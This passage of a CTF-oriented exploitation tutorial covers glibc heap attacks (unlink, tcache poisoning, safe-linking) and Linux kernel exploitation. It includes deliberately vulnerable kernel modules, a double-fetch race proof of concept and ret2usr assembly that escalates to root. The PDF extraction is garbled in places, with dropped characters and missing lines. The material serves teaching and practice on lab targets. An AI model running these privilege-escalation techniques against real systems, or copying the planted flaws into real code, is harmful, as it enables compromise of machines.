delete(0)
delete(1)
delete(0)
create(p64(fake_metadata))
create('junk1')
create('junk2')
create('\x00' * 8 + 'admin\x00')
complete()
32-bit
Mixing it up a bit - you can try the 32-bit version yourself. Same principle, o"sets a
bit di"erent and stu". I'll upload the binary when I can, but just compile it as 32-
bit and try it yourself :)
Unlink Exploit
Overview
When a chunk is removed from a bin, unlink() is called on the chunk. The unlink
macro looks like this:
FD = P->fd (= 0x56555780)
BK = P->bk (= 0x10000000)
This may seem like a lot to take in. It's a lot of seemingly random numbers. What
you need to understand is P->fd just means 8 bytes o" P and P->bk just
means 12 bytes o" P .
Then the fd and bk pointers point at the start of the chunk - prev_size . So
when overwriting the fd pointer here:
FD points to 0x56555780 , and then 0xc gets added on for bk , making the
write actually occur at 0x5655578c , which is what we wanted. That is why we
fake fd and bk values lower than the actual intended write location.
In 64-bit, all the chunk data takes up 0x8 bytes each, so the o"sets for fd and bk
will be 0x10 and 0x18 respectively.
The slight issue with the unlink exploit is not only does fd get written to where
you want, bk gets written as well - and if the location you are writing either of
these to is protected memory, the binary will crash.
Protections
More modern libc versions have a di"erent version of the unlink macro, which
looks like this:
FD = P->fd;
BK = P->bk;
BK->fd = FD;
}
Here unlink() check the bk pointer of the forward chunk and the fd pointer
of the backward chunk and makes sure they point to P , which is unlikely if you
fake a chunk. This quite signi!cantly restricts where we can write using unlink.
The Tcache
New and e$cient heap management
Starting in glibc 2.27, a new heap feature called the tcache was released. The
tcache was designed to be a performance booster, and the operation is very
simple: every chunk size (up to size 0x410) has its own tcache bin, which can store
up to 7 chunks. When a chunk of a speci!c size is allocated, the tcache bin is
searched !rst. When it is freed, the chunk is added to the tcache bin; if it is full, it
then goes to the standard fastbin/unsortedbin.
The tcache bin acts like a fastbin - it is a singly-linked list of free chunks of a
speci!c size. The handling of the list, using fd pointers, is identical. As you can
expect, the attacks on the tcache are also similar to the attacks on fastbins.
Ironically, years of defenses that were implemented into the fastbins - such as the
double-free protections - were ignored in the initial implementation of the
tcache. This means that using the heap to attack a binary running under glibc 2.27
binary is easier than one running under 2.25!
Tcache: calloc()
Tcache Poisoning
Reintroducing double-frees
Tcache Keys
A primitive double-free protection
Starting from glibc 2.29, the tcache was hardened by the addition of a second
!eld in the tcache_entry struct, the key :
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
When a chunk is freed and tcache_put() is called on it, the key !eld is set to
the location of the tcache_perthread_struct . Why is this relevant? Let's check
the tcache security checks in _int_free() :
#if USE_TCACHE
{
The chunk being freed is variable e . We can see here that before tcache_put()
is called on it, there is a check being done:
The check determines whether the key !eld of the chunk e is set to the
address of the tcache_perthread_struct already. Remember that this happens
when it is put into the tcache with tcache_put() ! If the pointer is already
there, there is a very high chance that it's because the chunk has already been
It's not a 100% guaranteed double-free though - as the comment above it says:
This test succeeds on double free. However, we don't 100% trust it (it also
matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an
unlikely coincidence before aborting.
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
You can think of the key as an e"ectively random value (due to ASLR) that gets
checked against, and if it's the correct value then something is suspicious.
So, what can we do against this? Well, this protection doesn't a"ect us that much
- it stops a simple double-free, but if we have any kind of UAF primitive we can
easily overwrite e->key . Even with a single byte, we still have a 255/256 chance
of overwriting it to something that doesn't match key . Creating fake tcache
chunks doesn't matter either, as even in the latest glibc version there is no key
check in tcache_get() , meaning tcache poisoning is still doable.
In fact, the key can even be helpful for us - the fd pointer of the tcache chunk
is mangled, so a UAF does not guarantee a heap leak. The key !eld is not
mangled, so if we can leak the location of tcache_perthread_struct instead,
this gives us a heap leak as it is always located at heap_base + 0x10 .
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;
What is tcache_key ? It's de!ned here and set directly below, in the
tcache_key_initialise() function:
It attempts to call __getrandom() , which is de!ned as a stub here and for Linux
here; it just uses a syscall to read n random bytes. If that fails for some reason, it
calls the random_bits() function instead, which generates a pseudo-random
number seeded by the time. Long story short: tcache_key is random. The check
in _int_free() still exists, and the operation is the same, just it's completely
random rather than based on ASLR. As the comment above it says
This isn't a huge change - it's still only straight double-frees that are a"ected. We
can no longer leak the heap via the key , however.
Safe Linking
Starting from glibc 2.32, a new Safe-Linking mechanism was implemented to
protect the singly-linked lists (the fastbins and tcachebins). The theory is to
protect the fd pointer of free chunks in these bins with a mangling operation,
making it more di$cult to overwrite it with an arbitrary value.
Here, pos is the location of the current chunk and ptr the location of the
chunk we are pointing to (which is NULL if the chunk is the last in the bin). Once
again, we are using ASLR to protect! The >>12 gets rid of the predictable last 12
bits of ASLR, keeping only the random upper 52 bits (or e"ectively 28, really, as
the upper ones are pretty predictable):
It's a very rudimentary protection - we use the current location and the location
Again, heap leaks are key. If we get a heap leak, we know both parts of the XOR
in PROTECT_PTR , and we can easily recreate it to fake our own mangled pointer.
It might be tempting to say that a partial overwrite is still possible, but there is a
new security check that comes along with this Safe-Linking mechanism, the
alignment check. This check ensures that chunks are 16-bit aligned and is only
relevant to singly-linked lists (like all of Safe-Linking). A quick Ctrl-F for
unaligned in malloc.c will bring up plenty of di"erent locations. The most
important ones for us as attackers is probably the one in tcache_get() and the
ones in _int_malloc() .
tcache_get
_int_malloc()
There are three checks here. First on REMOVE_FB , the macro for removing a
chunk from a fastbin:
And lastly on every fastbin chunk during the movement over to the
respective tcache bin:
_int_free()
malloc_consolidate()
When all the fastbins are consolidated into the unsorted bin, they are
checked for alignment:
Others
Not super important functions for attackers, but fastbin chunks are checked
for alignment in int_mallinfo() , __malloc_info() ,
do_check_malloc_state() , tcache_thread_shutdown() .
You may notice some of them use !aligned_OK while others use
misaligned_chunk() .
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
The macros are de!ned side-by-side, but really aligned_OK is for addresses
while misaligned_chunk is for chunks.
This alignment check means you would have to guess 16 bits of entropy, leading
Kernel
Heavily beta
Introduction
The kernel is the program at the heart of the Operating System. It is responsible
for controlling every aspect of the computer, from the nature of syscalls to the
integration between software and hardware. As such, exploiting the kernel can
lead to some incredibly dangerous bugs.
In the context of CTFs, Linux kernel exploitation often involves the exploitation of
kernel modules. This is an integral feature of Linux that allows users to extend
the kernel with their own code, adding additional features.
Kernel Modules
Kernel Modules are written in C and compiled to a .ko (Kernel Object) format.
Most kernel modules are compiled for a speci!c version kernel version (which can
be checked with uname -r , my Xenial Xerus is 4.15.0-128-generic ). We can
load and unload these modules using the insmod and rmmod commands
respectively. Kernel modules are often loaded into /dev/* or /proc/ . There
are 3 main module types: Char, Block and Network.
Char Modules
Char Modules are deceptively simple. Essentially, you can access them as a
stream of bytes - just like a !le - using syscalls such as open . In this way, they're
virtually almost dynamic !les (at a super basic level), as the values read and
written can be changed.
I'll be using the term module and device interchangeably. As far as I can tell, they are
The Code
Writing a Char Module is suprisingly simple. First, we specify what happens on
init (loading of the module) and exit (unloading of the module). We need
some special headers for this.
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Mine!");
module_init(intro_init);
module_exit(intro_exit);
First we set the license, because otherwise we get a warning, and I hate warnings.
Next we tell the module what to do on load ( intro_init() ) and unload
( intro_exit() ). Note we put parameters as void , this is because kernel
modules are very picky about requiring parameters (even if just void).
Note that we use printk rather than printf . GLIBC doesn't exist in kernel
Compiling
Compiling a Kernel Object can seem a little more complex as we use a Makefile ,
but it's surprisingly simple:
obj-m += intro.o
all:
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
$(MAKE) is a special #ag that e"ectively calls make , but it propagate all same
#ags that our Makefile was called with. So, for example, if we call
$ make -j 8
If it's successful, there will be no response. But where did it print to?
Remember, the kernel program has no concept of userspace; it does not know
you ran it, nor does it bother communicating with userspace. Instead, this code
runs in the kernel, and we can check the output using sudo dmesg .
Here we grab the last line using tail - as you can see, our printk is called!
You can view currently loaded modules using the lsmod command
if ( major < 0 )
printk(KERN_ALERT "[Intro] Error assigning Major Number!");
return 0;
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 223 of 554
Cybersecurity Notes 5/3/25, 16:17
return 0;
}
A major number is essentially the unique identi!er to the kernel module. You can
specify it using the !rst parameter of register_chrdev , but if you pass 0 it is
automatically assigned an unused major number.
We then have to register the class and the device. In complete honesty, I don't
quite understand what they do, but this code exposes the module to
/dev/intro .
Cleaning it Up
These additional classes and devices have to be cleaned up in the intro_exit
function, and we mark the major number as available:
Controlling I/O
In intro_init , the !rst line may have been confusing:
The third parameter fops is where all the magic happens, allowing us to create
handlers for operations such as read and write . A really simple one would look
something like:
static ssize_t intro_read(struct file *filp, char __user *buffer, size_t len,
printk(KERN_ALERT "reading...");
return 0;
}
The parameters to intro_read may be a bit confusing, but the 2nd and 3rd ones
line up to the 2nd and 3rd parameters for the read() function itself:
We then use the function copy_to_user to write QWERTY to the bu"er passed
in as a parameter!
Full Code
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/uaccess.h>
MODULE_AUTHOR("ir0nstone");
MODULE_DESCRIPTION("Interactive Drivers");
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 225 of 554
Cybersecurity Notes 5/3/25, 16:17
MODULE_DESCRIPTION("Interactive Drivers");
MODULE_LICENSE("GPL");
static ssize_t intro_read(struct file *filp, char __user *buffer, size_t len,
printk(KERN_ALERT "reading...");
return 0;
}
if ( major < 0 )
printk(KERN_ALERT "[Intro] Error assigning Major Number!");
return 0;
}
module_init(intro_init);
module_exit(intro_exit);
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
int main() {
int fd = open("/dev/intro", O_RDWR); // Open the device with RW access
printf("FD: %d\n", fd); // print the file descriptor
char buffer[6];
memset(&buffer, 'A', 6); // fill with As
printf("%s\n", buffer); // print
read(fd, buffer, 6); // read from module
printf("%s\n", buffer); // print again
}
If the module is successfully loaded, the read() call should read QWERTY into
buffer :
$ ./exploit
FD: 3
AAAAAA
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 227 of 554
Cybersecurity Notes 5/3/25, 16:17
AAAAAA
QWERTY
Success!
Linux contains a syscall called ioctl , which is often used to communicate with a
driver. ioctl() takes three parameters:
• File Descriptor fd
• an unsigned int
• an unsigned long
The driver can be adapted to make the latter two virtually anything - perhaps a
pointer to a struct or a string. In the driver source, the code looks along the lines
of:
static ssize_t ioctl_handler(struct file *file, unsigned int cmd, unsigned lon
printk("Command: %d; Argument: %d", cmd, arg);
return 0;
}
But if you want, you can interpret cmd and arg as pointers if that is how you
wish your driver to work.
To communicate with the driver in this case, you would use the ioctl()
function, which you can import in C:
#include <sys/ioctl.h>
// [...]
.ioctl = ioctl_handler
};
On modern Linux kernel versions, .ioctl has been removed and replaced by
.unlocked_ioctl and .compat_ioctl . The former is the replacement for
.ioctl , with the latter allowing 32-bit processes to perform ioctl calls on 64-
bit systems. As a result, the new file_operations is likely to look more like this:
A Basic Kernel
Interaction Challenge
The Module
We're going to create a really basic authentication module that allows you to read
the #ag if you input the correct password. Here is the relevant code:
static ssize_t auth_read(struct file *filp, char __user *buf, size_t len, loff
printk(KERN_ALERT "[Auth] Attempting to read flag...");
if (authenticated) {
copy_to_user(buf, FLAG, sizeof(FLAG)); // ignoring `len` here
return 1;
}
static ssize_t auth_write(struct file *filp, const char __user *buf, size_t co
char password_attempt[20];
if (!strcmp(password_attempt, PASSWORD)) {
printk(KERN_ALERT "[Auth] Password correct!");
authenticated = 1;
return 1;
}
return 0;
}
Interacting
Let's !rst try and interact with the kernel by reading from it.
char buffer[20];
read(fd, buffer, 20);
printf("%s\n", buffer);
Note that in the module source code, the length of read() is completely
disregarded, so we could make it any number at all! Try switching it to 1 and you'll
see.
$ ./exploit
FAIL: Not Authenticated!
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 232 of 554
Cybersecurity Notes 5/3/25, 16:17
Epic! Let's write the correct password to the device then try again. It's really
important to send the null byte here! That's because copy_from_user() does
not automatically add it, so the strcmp will fail otherwise!
It works!
$ ./exploit
FAIL: Not Authenticated!
flag{YES!}
$ ./exploit
flag{YES!}
flag{YES!}
Final Code
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
int main() {
int fd = open("/dev/authentication", O_RDWR);
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 233 of 554
Cybersecurity Notes 5/3/25, 16:17
char buffer[20];
read(fd, buffer, 1);
printf("%s\n", buffer);
basic_interaction.zip
2KB archive
Challenge - IOCTL
So, here's your challenge! Write the same kernel module, but using ioctl
instead. Then write a program to interact with it and perform the same
operations. ZIP !le including both below, but no cheating! This is really good
practise.
basic_authentication_ioctl.zip
2KB archive
Potential Solution
Compiling, Customising
and booting the Kernel
Instructions for compiling the kernel with your own settings, as well as compiling
kernel modules for a speci!c kernel version.
This isn't necessary for learning how to write kernel exploits - all the important parts
will be provided! This is just to help those hoping to write challenges of their own, or
perhaps set up their own VMs for learning purposes.
Prerequisites
$ apt-get install flex bison libelf-dev
There may be other requirements, I just already had them. Check here for the full list.
The Kernel
Cloning
Customise
Remove the current compilation con!gurations, as they are quite complex for our
needs
$ cd linux
$ rm -f .config
Now we can create a minimal con!guration, with almost all options disabled. A
.config !le is generated with the least features and drivers possible.
$ make allnoconfig
YACC scripts/kconfig/parser.tab.[ch]
HOSTCC scripts/kconfig/lexer.lex.o
HOSTCC scripts/kconfig/menu.o
HOSTCC scripts/kconfig/parser.tab.o
HOSTCC scripts/kconfig/preprocess.o
HOSTCC scripts/kconfig/symbol.o
HOSTCC scripts/kconfig/util.o
HOSTLD scripts/kconfig/conf
#
# configuration written to .config
#
We create a kconfig !le with the options we want to enable. An example is the
following:
CONFIG_64BIT=y
CONFIG_SMP=y
CONFIG_PRINTK=y
CONFIG_PRINTK_TIME=y
CONFIG_PCI=y
CONFIG_INPUT_KEYBOARD=y
CONFIG_MODULES=y
CONFIG_KPROBES=n
CONFIG_LTO_NONE=y
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_EMBEDDED=n
CONFIG_TMPFS=y
CONFIG_RELOCATABLE=y
CONFIG_RANDOMIZE_BASE=y
CONFIG_USERFAULTFD=y
Explanation of Options
•
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 237 of 554
Cybersecurity Notes 5/3/25, 16:17
In order to update the minimal .config with these options, we use the provided
merge_config.sh script:
Building
$ make -j4
Kernel Modules
When we compile kernel modules for our own kernel, we use the following
Makefile structure:
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
all:
make -C /home/ir0nstone/linux M=$(PWD) modules
References
• Build the Linux kernel and Busybox and run them on QEMU
We now have a minimal kernel bzImage and a kernel module that is compiled for
it. Now we need to create a minimal VM to run it in.
We will download and extract busybox ; you can !nd the latest version here.
$ mkdir busybox_compiled
Now compile it statically. We're going to use the menuconfig option, so we can
make some choices.
$ cd busybox-1.36.1
$ make O=../busybox_compiled menuconfig
Once the menu loads, hit Enter on Settings . Hit the down arrow key until you
reach the option Build static binary (no shared libs) . Hit Space to select
it, and then Escape twice to leave. Make sure you choose to save the
con!guration.
$ cd ../busybox_compiled
$ make -j
$ make install
$ cd ..
$ mkdir initramfs
$ cd initramfs
$ mkdir -pv {bin,dev,sbin,etc,proc,sys/kernel/debug,usr/{bin,sbin},lib,lib64,m
$ cp -av ../busybox_compiled/_install/* .
$ sudo cp -av /dev/{null,console,tty,sda1} dev/
The last thing missing is the classic init script, which gets run on system load. A
#!/bin/sh
exec /bin/sh
Make it executable
$ chmod +x init
• The -not -name *.cpio is there to prevent the archive from including itself
• You can even compress the !lesystem to a .cpio.gz !le, which QEMU also
recognises
If we want to extract the cpio archive (say, during a CTF) we can use this
command:
$ cpio -i -F initramfs.cpio
Put bzImage and initramfs.cpio into the same folder. Write a short run.sh
script that loads QEMU:
#!/bin/sh
qemu-system-x86_64 \
-kernel bzImage \
-initrd initramfs.cpio \
-append "console=ttyS0 quiet loglevel=3 oops=panic" \
-monitor /dev/null \
-nographic \
-no-reboot
Explanation of Flags
• -append ... - basic features; in the future, this #ag is also used
to set protections
Once we make this executable and run it, we get loaded into a VM!
User Accounts
Right now, we have a minimal linux kernel we can boot, but if we try and work out
who we are, it doesn't act quite as we expect it to:
~ # whoami
whoami: unknown uid 0
This is because /etc/passwd and /etc/group don't exist, so we can just create
those!
/etc/passwd
root:x:0:0:root:/root:/bin/sh
user:x:1000:1000:User:/home/user:/bin/sh
/etc/group
root:x:0:
user:x:1000:
The !nal step is, of course, the loading of the kernel module. I will be using the
module from my Double Fetch section for this step.
First, we copy the .ko !le to the !lesystem root. Then we modify the init
script to load it, and also set the UID of the loaded shell to 1000 (so we are not
root!).
#!/bin/sh
insmod /double_fetch.ko
mknod /dev/double_fetch c 253 0
chmod 666 /dev/double_fetch
Here I am assuming that the major number of the double_fetch module is 253 .
If we load into a shell and run cat /proc/devices , we can see that double_fetch
is loaded with major number 253 every time. I can't !nd any way to load this in
without guessing the major number, so we're sticking with this for now - please get in
touch if you !nd one!
It takes ages to run, naturally. Once we do that, we can check out a speci!c
version of choice:
Some tags seem to not have the correct header !les for compilation. Others, weirdly,
compile kernels that build, but then never load in QEMU. I'm not quite sure why, to
be frank.
Double-Fetch
The most simple of vulnerabilities
The code below will be the contents of the read() function of a kernel. I've
removed the boilerplate code mentioned previously, but here are the relevant
parts:
typedef struct {
int id;
char password[10];
} Credentials;
static ssize_t df_write(struct file *filp, const char __user *buf, size_t coun
Credentials *creds = (Credentials *)buf;
if (creds->id == 0) {
printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
return -1;
}
// to increase reliability
msleep(1000);
if (!strcmp(creds->password, PASSWORD)) {
id = creds->id;
printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
return id;
}
• Sleep for 1 second (this is just to illustrate the example better, we will remove
it later)
Simple Communication
Let's say we want to communicate with the module, and we set up a simple C
program to do so:
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
int id;
char password[10];
} Credentials;
int main() {
int fd = open("/dev/double_fetch", O_RDWR);
printf("FD: %d\n", fd);
Credentials creds;
creds.id = 900;
strcpy(creds.password, "p4ssw0rd");
int res_id = write(fd, &creds, 0); // last parameter here makes no diff
printf("New ID: %d\n", res_id);
return 0;
}
We compile this statically (as there are no shared libraries on our VM):
As expected, the id variable gets set to 900 - we can check this in dmesg :
$ dmesg
[...]
[ 3.104165] [Double-Fetch] Password correct! ID set to 900
double_fetch_sleep.zip
0B archive
The #aw here is that creds->id is dereferenced twice. What does this mean?
The kernel module is passed a reference to a Credentials struct:
This is a pointer, and that is perhaps the most important thing to remember.
When we interact with the module, we give it a speci!c memory address. This
memory address holds the Credentials struct that we de!ne and pass to the
module. The kernel does not have a copy - it relies on the user's copy, and goes to
userspace memory to use it.
Because this struct is controlled by the user, they have the power to change it
whenever they like.
The kernel module uses the id !eld of the struct on two separate occasions.
Firstly, to check that the ID we wish to swap to is valid (not 0 ):
if (creds->id == 0) {
printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
return -1;
}
if (!strcmp(creds->password, PASSWORD)) {
id = creds->id;
printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
return id;
}
Again, this might seem !ne - but it's not. What is stopping it from changing
inbetween these two uses? The answer is simple: nothing. That is what
di"erentiates userspace exploitation from kernel space.
A Proof-of-Concept: Switching to ID 0
have arti!cially extended it (by sleeping for one second). We have a race codition
- the aim is to switch id in that timeframe. If we do this successfully, we will pass
the initial check (as the ID will start o" as 900 ), but by the time it is copied to
id , it will have become 0 and we have bypassed the security check.
If you are trying to compile your own kernel, you need CONFIG_SMP enabled,
because we need to modify it in a di"erent thread! Additionally, you need QEMU to
have the #ag -smp 2 (or more) to enable 2 cores, though it may default to having
multiple even without the #ag. This example may work without SMP, but that's
because of the sleep - when we most onto part 2, with no sleep, we require multiple
cores.
The C program will hang on write until the kernel module returns, so we can't use
the main thread.
With that in mind, the "exploit" is fairly self-explanatory - we start another thread,
43
44 // finish thread cleanly
45 if (pthread_join(thread, NULL)) {
46 fprintf(stderr, "Error joining thread\n");
47 return -1;
48 }
49
50 return 0;
51 }
52
53 void *switcher(void *arg) {
54 Credentials *creds = (Credentials *)arg;
55
56 // wait until the module is sleeping - don't want to
change it BEFORE the initial ID check!
57 sleep(0.3);
58
59 creds->id = 0;
60 }
Now we have to somehow get it into the !le system. In order to do that, we need
to !rst extract the .cpio archive (you may want to do this in another folder):
$ cpio -i -F initramfs.cpio
Now copy exploit there and make sure it's marked executable. You can then
compress the !lesystem again:
~ # ./exploit
FD: 3
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 251 of 554
Cybersecurity Notes 5/3/25, 16:17
FD: 3
New ID: 0
Note that the VM loaded you in as root by default. This is for debugging purposes,
as it allows you to use utilities such as dmesg to read the kernel module output and
check for errors, as well as a host of other things we will talk about. When testing
exploits, it's always helpful to !x the init script to load you in as root! Just don't
forget to test it as another user in the end.
Overview
In reality, there won't be a 1-second sleep for your race condition to occur. This
means we instead have to hope that it occurs in the assembly instructions
between the two dereferences!
This will not work every time - in fact, it's quite likely to not work! - so we will
instead have two loops; one that keeps writing 0 to the ID, and another that
writes another value - e.g. 900 - and then calling write . The aim is for the
thread that switches to 0 to sync up so perfectly that the switch occurs
inbetween the ID check and the ID "assignment".
double_fetch_no_sleep.zip
0B archive
Analysis
If we check the source, we can see that there is no msleep any longer:
if (creds->id == 0) {
printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
return -1;
}
if (!strcmp(creds->password, PASSWORD)) {
id = creds->id;
printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
return id;
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 253 of 554
Cybersecurity Notes 5/3/25, 16:17
return id;
}
Exploitation
Our exploit is going to look slightly di"erent! We'll create the Credentials
struct again and set the ID to 900 :
Credentials creds;
creds.id = 900;
strcpy(creds.password, "p4ssw0rd");
Then we are going to write this struct to the module repeatedly. We will loop it
1,000,000 times (e"ectively in!nite) to make sure it terminates:
Now, in the second thread, we will constantly cycle between ID 900 and 0 . We
do this in the hope that it will be 900 on the !rst dereference, and 0 on the
second! I make this loop in!nite because it is a thread, and the thread will be
killed when the program is (provided you remove pthread_join() ! Otherwise
your main thread will wait forever for the second to stop!).
while (1) {
creds->id = 0;
creds->id = 900;
}
}
Compile the exploit and run it, we get the desired result:
~ $ ./exploit
FD: 3
[ 2.140099] [Double-Fetch] Attempted to log in as root!
[ 2.140099] [Double-Fetch] Attempted to log in as root!
[+] ID is 0!
[-] Finished race
Look how quick that was! Insane - two fails, then a success!
Race Analysis
You might be wondering how tight the race window can be for exploitation - well,
gnote from TokyoWesterns CTF 2019 had a race of two assembly instructions:
The dereferences [rbx] have just one assembly instruction between, yet we are
capable of racing. THAT is just how tight!
Overview
Userspace exploitation often has the end goal of code execution. In the case of
kernel exploitation, we already have code execution; our aim is to escalate
privileges, so that when we spawn a shell (or do anything else) using
execve("/bin/sh", NULL, NULL) we are dropped as root .
To understand this, we have a talk a little about how privileges and credentials
work in Linux.
struct cred {
/* ... */
/* ... */
} __randomize_layout;
These !elds are all unsigned int !elds, and they represent what you would
expect - the UID, GID, and a few other less common IDs for other operations (such
as the FSUID, which is checked when accessing a !le on the !le system). As you
can expect, overwriting one or more of these !elds is likely a pretty desirable
goal.
Note the __randomize_layout here at the end! This is a compiler #ag that tells it to
mix the layout up on each load, making it harder to target the structure!
task_struct
The kernel needs to store information about each running task, and to do this it
uses the task_struct structure. Each kernel task has its own instance.
struct task_struct {
/* ... */
/*
* Pointers to the (original) parent process, youngest child, younger sibl
* older sibling, respectively. (p->father can be replaced with
* p->real_parent->pid)
*/
/*
* Children/sibling form the list of natural children:
*/
struct list_head children;
struct list_head sibling;
struct task_struct *group_leader;
/* ... */
/* ... */
};
The task_struct instances are stored in a linked list, with a global kernel
variable init_task pointing to the !rst one. Each task_struct then points to
the next.
Along with linking data, the task_struct also (more importantly) stores
real_cred and cred , which are both pointers to a cred struct. The di"erence
between the two is explained here:
/*
* The security context of a task
*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is actin
* upon another object, be that a file, a task, a key or whatever.
*
* Note that some members of this structure belong to both categories - the
* LSM security pointer for instance.
*
* A task has two security pointers. task->real_cred points to the objective
* context that defines that task's actual details. The objective part of thi
* context is used whenever that task is acted upon.
*
* task->cred points to the subjective context that defines the details of how
* that task is going to act upon another object. This may be overridden
* temporarily to point to another security context, but normally points to th
* same context as task->real_cred.
*/
In e"ect, cred is the permission when we are trying to act on something, and
real_cred when something it trying to act on us. The majority of the time, both
will point to the same structure, but a common exception is with setuid
executables, which will modify cred but not real_cred .
prepare_kernel_cred() and
commit_creds()
As an alternative to overwriting cred structs in the unpredictable kernel heap,
we can call prepare_kernel_cred() to generate a new valid cred struct and
commit_creds() to overwrite the real_cred and cred of the current
task_struct .
prepare_kernel_cred()
The function can be found here, but there's not much to say - it creates a new
cred struct called new then destroys the old . It returns new .
If NULL is passed as the argument, it will return a new set of credentials that
match the init_task credentials, which default to root credentials. This is very
important, as it means that calling prepare_kernel_cred(0) results in a new set
of root creds!
This last part is actually not true on newer kernel versions - check out Debugging the
commit_creds()
This function is found here, but ultimately it will update task->real_cred and
task->cred to the new credentials:
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
Introduction
By and large, the principle of userland ROP holds strong in the kernel. We still
want to overwrite the return pointer, the only question is where.
Vulnerable Module
Note that the kernel version here is 6.1, due to some added protections we will come
to later.
rop_ret2usr.zip
4MB archive
static ssize_t rop_write(struct file *filp, const char __user *buf, size_t cou
char buffer[0x20];
printk(KERN_INFO "Testing...");
memcpy(buffer, buf, 0x100);
return 0;
return 0;
}
As we can see, it's a size 0x100 memcpy into an 0x20 bu"er. Not the hardest
thing in the world to spot. The second printk call here is so that buffer is
used somewhere, otherwise it's just optimised out by make and the entire
function just becomes xor eax, eax; ret !
Exploitation
For obvious reasons, you require root permissions to read this !le!
Now we know the locations of the two important functions: After that, the
assembly is pretty simple. First we call prepare_kernel_cred(0) :
We can throw this directly into the C code using inline assembly:
void escalate() {
__asm__(
".intel_syntax noprefix;"
"xor rdi, rdi;"
"movabs rcx, 0xffffffff81066fa0;" // prepare_kernel_cred
"call rcx;"
Overflow
// overflow
uint64_t payload[7];
void get_shell() {
system("/bin/sh");
}
int main() {
// [ everything else ]
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 263 of 554
Cybersecurity Notes 5/3/25, 16:17
// [ everything else ]
get_shell();
}
Returning to userland
If we run what we have so far, we fail and the kernel panics. Why is this?
The reason is that once the kernel executes commit_creds() , it doesn't return
back to user space - instead it'll pop the next junk o" the stack, which causes the
kernel to crash and panic! You can see this happening while you debug (which
we'll cover soon).
What we have to do is force the kernel to swap back to user mode. The way we
do this is by saving the initial userland register state from the start of the
program execution, then once we have escalate privileges in kernel mode, we
restore the registers to swap to user mode. This reverts execution to the exact
state it was before we ever entered kernel mode!
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rsp;
uint64_t user_rflags
void save_state() {
puts("[*] Saving state");
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 264 of 554
Cybersecurity Notes 5/3/25, 16:17
);
The CS, SS, RSP and RFLAGS registers are stored in 64-bit values within the
program. To restore them, we append extra assembly instructions in escalate()
for after the privileges are acquired:
void escalate() {
__asm__(
".intel_syntax noprefix;"
"xor rdi, rdi;"
"movabs rcx, 0xffffffff81066fa0;" // prepare_kernel_cred
"call rcx;"
Here the GS, CS, SS, RSP and RFLAGS registers are restored to bring us back to
user mode (GS via the swapgs instruction). The RIP register is updated to point
If we compile it statically and load it into the initramfs.cpio , notice that our
privileges are elevated!
How exactly does the above assembly code restore registers, and why does it
return us to user space? To understand this, we have to know what all of the
registers do. The switch to kernel mode is best explained by a literal
StackOver#ow post, or another one.
• SS - Stack Segment
• RSP
•
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 266 of 554
Cybersecurity Notes 5/3/25, 16:17
• CS - Code Segment
GS is changed back via the swapgs instruction. All others are changed back via
iretq , the QWORD variant of the iret family of intel instructions. The intent
behind iretq is to be the way to return from exceptions, and it is speci!cally
